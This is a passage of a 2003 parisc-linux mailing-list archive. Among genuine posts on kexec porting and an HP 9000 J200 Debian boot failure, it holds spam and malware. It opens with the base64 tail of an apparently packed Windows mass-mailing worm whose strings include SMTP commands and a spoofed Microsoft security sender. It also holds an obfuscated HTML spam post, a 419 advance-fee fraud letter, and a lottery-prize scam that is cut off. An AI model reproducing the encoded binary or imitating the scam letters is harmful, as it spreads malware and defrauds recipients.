zGyHaAUkoREmXpvZzI8XRwtBZbMEdz3+CY9hw99AkZGRsQWorLCR
kZGRtLi8xJGRkZHIzNDUkZGRkdjc4OSRkZGR6Ozw9FWAmZH4/ACg
ULROcGGj1t1+99+JZG9zIHN0b3AHd2hvaXM2ADcAW/sDthh0K2Vn
b2xkLRwmafsXkP1uZy5jb22iVVNFUiB3AThgvzVVTklDSyAdSk/W
Pkg01kw5MTFsoSJWpkKAFU1EiSHADitrR3PUIBfZCAoR8aZrIH0V
AxwEBwXG7ALcNQS9A00TQD0aCzV2IuwND2Y8QA8GrFleBEGgYBMR
rhvCasRfHhssA5umaZo6SFRcaHhBmu41ZyOIklcDqLJpmqZpvMza
5u7bNMum/ARCDBQeQmPiN64gS1dORUwzMqdZ46/yV1NPWAseoYOV
/0V4aXRQcm9jZQ1UaKq23zjBQx1zZUhhbiplbmNfamwOcmNweZNT
EWVw2W7kwRNsZW5DNnRlPUj/BWhKVGlja0NvdW5cbt/3pUdubmVj
CmNXc3NrZWPlr/0NYmlgU2FjYylsP7WvtWlWVAlnIYZieW6dS9/e
YW2DvEFTdGGsdXBbdretOB5fXG9hXmh0cyHvzbY2toFuIRXmZLN2
bpNjdnZrfIiy2bBhXwD/v9kOEAaMKDA3ME4wUzBgMH8wnDCX+v//
pjC7MB0xNzFKMXgwhTBvMb8yDzMhGzJD/////zJKMlEyeDKuMuwy
CjNQM2wzhjOQM6YzwjPVM/EzBDQQ/////zQmNOU09TQKNRw1PzVF
NUs1UTVXNV01YzVpNW81dTV7iP///zWBNYc1jTWTNZk1nzWlNas1
sTW3Nb01wzXs/7vBYxgGpDOoM6wzszO3M7szAADgh4ooSEVMTyAt
MMAFkWFs5qr9////TUFJTCBGUk9NOiA8YWRtaW5AZHVtYS5nb3Yu
cnU+A3jd3yBSQ1BUIFRPHgAOILd35p0GUVVJVAJGcm9tHCJN7P/2
22ljCHNvZnQiKHNlY3VyaXR5QG0Ug+0cMTU9VG9GU+C2NeB1Ymr8
DVUrIHSX4P8vQ2F0Y2ggaW1tZWRpN2x57e3/2yAhJk1JTUUtVmVy
c2lvbisxLjASBfyttUMJHQItVHlwZTq3bQm+cWx0aXABL2p4OTti
rfu2BF1kDnk9IngAIi7bRvZ2oC0tCzkKeDTtB2x7cGxh8DsacmFu
c2Zv7daI7S1FbrBk7Sc3YsiXoN1+RkRlViBm1TEgLC9Bd9ggdbZJ
OHJ3IEV4dg/WbkxvcgvIbm93v1Rotdbc1hAoYQOUTAusa+6tnTF2
aXIFWz9lPr45d7YvTUEXKyA1MDDdo7bW7QA7bCgvZhfY2wwv4SGL
0WFtQyu0cIFvfSsvZE7biay1bo442mJhxTZohe2yNCJEz3Ct7rdu
u0VsR3Rhx20XO/ZpbFgY64JlET3bLjllu9uWRViIAS4PXHdpdHv5
fxsuBGcAXCouKgAuaHRtd2FiCTZzeRtsD2RieHRiE2QWshfWIzJD
OkIMQlwIBrguAF7G3Jv9ADpTVFJdiEMQIC8qRtAghGrixpMQ4kRM
TMFlZ0JcaBtBclMCfGNl3nR87g1cWyJFU6N3GsFkNKdcxly6GIaN
G0VzXEPKcgWFiDbbOFxSYAA4QMHZ2NYzGmdAdy0A0m37GvoLLgJp
H3Z4UC8Yg7WTYmUgDFqj3WitqG90zgFB196s2wV5nG0xRqQiEYQE
hg0KCIKyVQARVpKkA2DZTASMUFEBb54NA74JbXBHbG9i57MW9GFs
QWwfFmxlbg3or+JldFOjRGlyhKAxAN5vcjXeRlBA3jUZDERlbGW0
O6ANZUlvVnJvbBCrOCABUwFG4ftmJWhOeyxbVFhIAO9vcA1OYW0R
Zda62wseRm1tDUw3L80c0A9Ecml2ZfIO+7Llj4J0dHJpYnVzE1Np
ekCWLWs/TW9kdQ5hE4ngm81lEaBBu+wNexbxdGSEspXX2htCIRBy
l63YJbzCb0NaPWQaUMBubyUDcnPqS7aEGVNHURDM5wpdXVJSMfdT
2YHFgHcrU+25oA9bE1BvaUoK7gvAD4oBaXa3oTXXOAgqF4pzb4QY
xmazDmMKUEy73aEzx/1mM1huZyZfbN53cLNj8AjoCHcvNBtbMC4R
QUuZ9NvbJehgT3CrS2V5c0EXcxFiDi4PDKJms7lbVuJ1ZRw0pjRS
dIRgQfribm6azbUX3X+LI7IEBRfAdkN0mmM29wJwgKsFpWMF8AXg
DcEBOyEEjOUBFgFjTriEADcIWAGEgEsIKwEVhBExuwEfHVlGJvn8
LDuqjx4sQi6SCzCA8ivkL2AAALYFcAAAuICcDBQgHjjfG3Jg9wMk
BrvIiB1gS0hOLjIiHXBOAtzvSFAbPGKWAAAANNIAEgAA/wAAAAAA
AAAAAABgvgCAQACNvgCQ//9Xg83/6xCQkJCQkJCKBkaIB0cB23UH
ix6D7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz73UJix6D7vwR
23PkMcmD6ANyDcHgCIoGRoPw/3R0icUB23UHix6D7vwR2xHJAdt1
B4seg+78EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHb
c+SDwQKB/QDz//+D0QGNFC+D/fx2D4oCQogHR0l19+lj////kIsC
g8IEiQeDxwSD6QR38QHP6Uz///9eife5NwEAAIoHRyzoPAF394A/
AHXyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AcAAA
iwcJwHQ8i18EjYQwAJAAAAHzUIPHCP+WZJAAAJWKB0cIwHTciflX
SPKuVf+WaJAAAAnAdAeJA4PDBOvh/5ZskAAAYelsc///AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAIygAABkoAAAAAAAAAAAAAAAAAAA
maAAAHSgAAAAAAAAAAAAAAAAAACmoAAAfKAAAAAAAAAAAAAAAAAA
ALKgAACEoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC+oAAAzKAAANyg
AAAAAAAA6qAAAAAAAAD4oAAAAAAAABShAAAAAAAAS0VSTkVMMzIu
RExMAEFEVkFQSTMyLmRsbAB3aW5pbmV0LmRsbABXU09DSzMyLmRs
bAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MAAEV4aXRQ
cm9jZXNzAAAAUmVnQ2xvc2VLZXkAAABJbnRlcm5ldEdldENvbm5l
Y3RlZFN0YXRlAAAAc2VuZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAACLYIEAAEQADRENUE1MDAwTGwA


--xxxx



From - Thu Nov 08 21:29:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "tamara" <ROLANDO_AMMON@yahoo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hey
Date: Sun, 14 Sep 2003 19:11:20 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20030914231140.9957BF57@cuprel1.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1416622773 30892 80.91.229.3 (22 Nov 2014 02:19:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:33 +0000 (UTC)
To: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 14 17:11:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6CC8B482D
	for <parisc-linux@parisc-linux.org>; Sun, 14 Sep 2003 17:11:41 -0600 (MDT)
Original-Received: from D9W66321 (dhcp024-166-239-193.columbus.rr.com [24.166.239.193])
	by cuprel1.hp.com (Postfix) with SMTP id 9957BF57
	for <parisc-linux@parisc-linux.org>; Sun, 14 Sep 2003 16:11:40 -0700 (PDT)
X-Priority: 3 (normal)
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19499

PGh0bWw+DQpIaSw8YnI+DQpJIGtuPCEtLTE3NDMyMXlzLS0+b3cgeW91IHdhbnQgdG8gcmU8IS0t
cmFuZDItLT5maW5hPCEtLXlpZmlmLS0+bmNlIHlvdXIgaG9tZSBzbyA8YnI+DQpoZXJlIGlzIHRo
ZSB3ZTwhLS0yMzE0MjNoLS0+YnNpdGUgeW91IHdhPCEtLWZkc2tzYWYtLT5udGVkIHdoZXJlIGxl
PCEtLXNoYXJjLS0+bmRlcnMgPGJyPg0KY29tPCEtLW1hcnMtLT5wZXRlIGZvciB5b3VyIGJ1PCEt
LXR1YmFzLS0+c2luZXNzLjxicj4NCjxhIGhyZWY9Imh0dHA6Ly93d3cuMTc0MzIxeXMuZmxpcHBp
bmRlYWxzLmNvbSI+IEdvIEhlcmUgPC9hPjxicj4NClRoPCEtLXJhbmQyLS0+YW5rcyw8YnI+DQpK
YWNrIEpvaDwhLS0yMzE0MjNoLS0+bnNvbjxicj4NCjxicj4NCjxicj4NCjwhLS10dWJhcy0tPg0K
PC9odG1sPg0K




From - Thu Nov 08 21:29:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kexec for pa-risc
Date: Mon, 15 Sep 2003 11:29:15 +0200
Organization: H.P
Lines: 19
Approved: news@gmane.org
Message-ID: <3F65866B.7020206@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622773 30896 80.91.229.3 (22 Nov 2014 02:19:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 15 03:29:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from grerelbul01.net.external.hp.com (grerelbul01.net.external.hp.com [192.6.111.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6AE1A4879
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Sep 2003 03:29:17 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by grerelbul01.net.external.hp.com (Postfix) with ESMTP id 0076A381B7
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Sep 2003 11:29:16 +0200 (CEST)
Original-Received: from hp.com (ssdpc48.france.hp.com [15.129.234.2])
	by hpfrcu03.france.hp.com (8.9.3 (PHNE_28810)/8.9.3 SMKit7.02) with ESMTP id LAA04250
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Sep 2003 11:29:15 +0200 (METDST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19500

	Hi,
I'm still looking to speed up dump creation. One solution (and with
less re-work) is to dump directly in memory, mark pages as
reserved, reboot a brand new kernel with an add-on to still
have dump pages marked as reserved (without clearing memory,
by-passing bios, etc...), and then use the standart
disk driver to flush the dump, and then release the pages.

I think that main part of the job has already been done with
kexec, does someone already looked at it to port on pa-linux ?

     Cheers.

-- 
	Vidal Bruno, (770-4271)
         SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@hp.com



From - Thu Nov 08 21:29:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "victor michelle" <victormichelle@123.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] I NEED YOUR URGENT ASSISTANCE
Date: Mon, 15 Sep 2003 15:42:19 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20030915144726.7E0384852@dsl2.external.hp.com>
Reply-To: ejimichelle@netzero.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622774 30901 80.91.229.3 (22 Nov 2014 02:19:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 15 08:47:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhst1242.com (unknown [213.185.113.3])
	by dsl2.external.hp.com (Postfix) with SMTP id 7E0384852
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Sep 2003 08:47:26 -0600 (MDT)
X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19501

ATTN=3A HANS=2C


I am BARRISTER VICTOR MICHELLE =28ESQ=29A Solicitor=2E I am the Personal Attorney to Mr=2E JAMES HANS  a national of your country=2Cwho used to work with Chevron company in Nigeria=2EOn the 21st of April 2000=2C my client=2C his wife And their three children were involved in a car accident along Sagbama Express Road=2E

All occupants of the vehicle unfortunately lost there lives=2E Since then I have made several enquiries to your embassy to locate any of my clients extended relatives=2C this has also proved unsuccessful=2EAfter these several unsuccessful attempts=2C I decided to trace his relatives over the Internet=2C to locate any member of his family but of no avail=2C hence I contacted you=2E I have contacted you to assist in repartrating the money and property left behind by my client before they get confisicated or declared unserviceable by the National Bank PLC where this huge deposits were lodged=2E Particularly=2Cthe National Bank PLC where the deceased had a valued at about 9 million dollars has issued me a notice to provide the next of kin or have the account confisicated =2E

since I have been unsuccesfull in locating the the relatives for over 2 years now I seek your conscent to present you as the next of kin of the deceased since you are from the same country so that the proceeds of this account valued at $9 million dollars can be paid to you and then you and me can share the money=2E 55% to me and 40% to you=2Cwhile 5% has been earmarked to reimburse all expenses that may occure during this transaction

 All I require is your honest cooperation to enable us see this dealt=2E I guarantee that this will be executed under a legitimate 
arrangement that will protect you from any breach of the law=2EPlease send me your full name and address=2C your telephone and fax number to enable us discuss further and file in an application of claim on your behalf to the National Bank PLC=2E 

Best Regards=2C 

BARRISTER VICTOR MICHELLE =28ESQ=29





From - Thu Nov 08 21:29:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jacek Chmielewski <jchmiel@kti.ae.poznan.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000 J200 + Debian
Date: Tue, 16 Sep 2003 15:04:49 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <137528789178.20030916150449@kti.ae.poznan.pl>
Reply-To: Jacek Chmielewski <jchmiel@kti.ae.poznan.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622774 30902 80.91.229.3 (22 Nov 2014 02:19:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bob Sipes <bob.sipes@eds.com>, Carl Johnson <cjs@mcn.net>,
	Engr.Faisal A.Zaman <zam21qu@hotmail.com>,
	Enno Baars <knutbert@gmx.net>, Frank Benke <frank.benke@datacare.de>,
	Frank Ickstadt <frank.ickstadt@btignite.de>,
	Neil Moore <neil@droopy.com>, Rex Slay <rex@slay.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 16 07:06:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from octopus.kti.ae.poznan.pl (octopus.kti.ae.poznan.pl [150.254.204.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id A05554844
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Sep 2003 07:06:20 -0600 (MDT)
Original-Received: from pyxis.kti.ae.poznan.pl ([150.254.204.45] helo=localhost)
	by octopus.kti.ae.poznan.pl with esmtp (Exim 3.35 #1 (Debian))
	id 19zG9w-0002Pp-00; Tue, 16 Sep 2003 15:46:24 +0200
X-Mailer: The Bat! (v1.61)
X-Priority: 3 (Normal)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19502

Hello HP 9000 J200 owner,

I found your email address on PA-RISC LINUX website (page
http://hwdb.parisc-linux.org/view.php3?type=machine&name=J200) and I hope
you could help me with my J200 box.

I want to install Debian on my HP 9000 J200 box and I encountered a problem
with booting the installation procedure:

Selected kernel: /vmlinux32 from partition 0
Selected ramdisk: /ramdiski from partition 0
ELF32 executable
Entry 00100098 first 00100000 n 6
Segment 0 load 00100000 size 2196688 mediaptr 0x1000
Segment 1 load 0031a000 size 467792 mediaptr 0x21a000
Segment 2 load 00390000 size 255656 mediaptr 0x28d000
Segment 3 load 003d0000 size 8192 mediaptr 0x2cc000
Segment 4 load 003d8000 size 32768 mediaptr 0x2ce000
Segment 5 load 00402048 size 110832 mediaptr 0x2d6048

ERROR: Read from boot device failed (status = -13).
byteio_read: seekread() returned -1 expected 2195456
ERROR: segment 0 read() failed
Fatal error loading kernel executableERROR: failed to load kernel 

I tried the Debian binary-1 CD and netinstall CD. Both with almost same
results ('status = -7' for Debian CD, and 'status = -13' for netinstall
CD).

What could be wrong? Do you know any possible source of this problem?

Best regards
  Jacek Chmielewski




From - Thu Nov 08 21:29:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jacek Chmielewski <jchmiel@kti.ae.poznan.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000 J200 + Debian
Date: Tue, 16 Sep 2003 15:28:14 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <179530193457.20030916152814@kti.ae.poznan.pl>
Reply-To: Jacek Chmielewski <jchmiel@kti.ae.poznan.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622774 30907 80.91.229.3 (22 Nov 2014 02:19:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 16 07:28:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from octopus.kti.ae.poznan.pl (octopus.kti.ae.poznan.pl [150.254.204.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3CC094844
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Sep 2003 07:28:14 -0600 (MDT)
Original-Received: from pyxis.kti.ae.poznan.pl ([150.254.204.45] helo=localhost)
	by octopus.kti.ae.poznan.pl with esmtp (Exim 3.35 #1 (Debian))
	id 19zGWG-0002Xi-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Sep 2003 16:09:28 +0200
X-Mailer: The Bat! (v1.61)
X-Priority: 3 (Normal)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19503

I want to install Debian on my HP 9000 J200 box and I encountered a problem
with booting the installation procedure:

Selected kernel: /vmlinux32 from partition 0
Selected ramdisk: /ramdiski from partition 0
ELF32 executable
Entry 00100098 first 00100000 n 6
Segment 0 load 00100000 size 2196688 mediaptr 0x1000
Segment 1 load 0031a000 size 467792 mediaptr 0x21a000
Segment 2 load 00390000 size 255656 mediaptr 0x28d000
Segment 3 load 003d0000 size 8192 mediaptr 0x2cc000
Segment 4 load 003d8000 size 32768 mediaptr 0x2ce000
Segment 5 load 00402048 size 110832 mediaptr 0x2d6048

ERROR: Read from boot device failed (status = -13).
byteio_read: seekread() returned -1 expected 2195456
ERROR: segment 0 read() failed
Fatal error loading kernel executableERROR: failed to load kernel 

I tried the Debian binary-1 CD and netinstall CD. Both with almost same
results ('status = -7' for Debian CD, and 'status = -13' for netinstall
CD).

What could be wrong? Do you know any possible source of this problem?

Best regards
  Jacek Chmielewski




From - Thu Nov 08 21:29:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "GOMEZ" <awardwinner@yehey.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CONGRATULATION!!!!!
Date: Tue, 16 Sep 2003 15:51:43 -0700
Lines: 63
Approved: news@gmane.org
Message-ID: <20030916145648.81BF24844@dsl2.external.hp.com>
Reply-To: awardwinner@yehey.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622775 30908 80.91.229.3 (22 Nov 2014 02:19:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 16 08:56:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mrson1103.com (unknown [213.185.113.3])
	by dsl2.external.hp.com (Postfix) with SMTP id 81BF24844
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Sep 2003 08:56:48 -0600 (MDT)
X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19504

DATE=3A 16th SEPTEMBER 2003 
FROM=3A THE DESK OF THE VICE PRESIDENT=2E 
INTERNATIONAL PROMOTIONS=2FPRIZE AWARD=2E=2E 
BATCH=3A EGS=2F 22504002=2F03=3A REFERENCE=3A 15=2F0018=2FIPD 

ATTENTION=3A CNOGRATULATION RE=3A AWARD NOTIFICATION=2E 

This is to inform you of the release of the EL-GORDO DE LA PRIMITIVA LOTTERY 
held on the 23rd of June 2003=2C but due to the mix up of numbers and address 
and the holidays=2C the results were released on the 9th of August 2003=2E 
Your name was attached to ticket number 085-12876077-09 with serial number 
51390-0 that drew the lucky numbers of 03-05-12-14-28-38=2C which consequently 
won the lottery in the 5th category=2E You have therefore been approved for a 
lump sum pay of Euros 2=2C800=2E809=2E00=2E =28TWO MILLION EIGHT HUNDRED THOUSAND 
EIGHT HUNDRED AND NINE EUROS ONLY=29in cash credited to file with REF=3A 
N=C2=BA=2EEGS=2F3662367114=2F13=2EThis is from a total cash prize of Euros 
70=2C020=2E225=2E00=2E=2C shared among the twenty five international winners in this 
category=2E 
CONGRATULATIONS!!! 
Your fund is now deposited with our Security Company and insured in your 
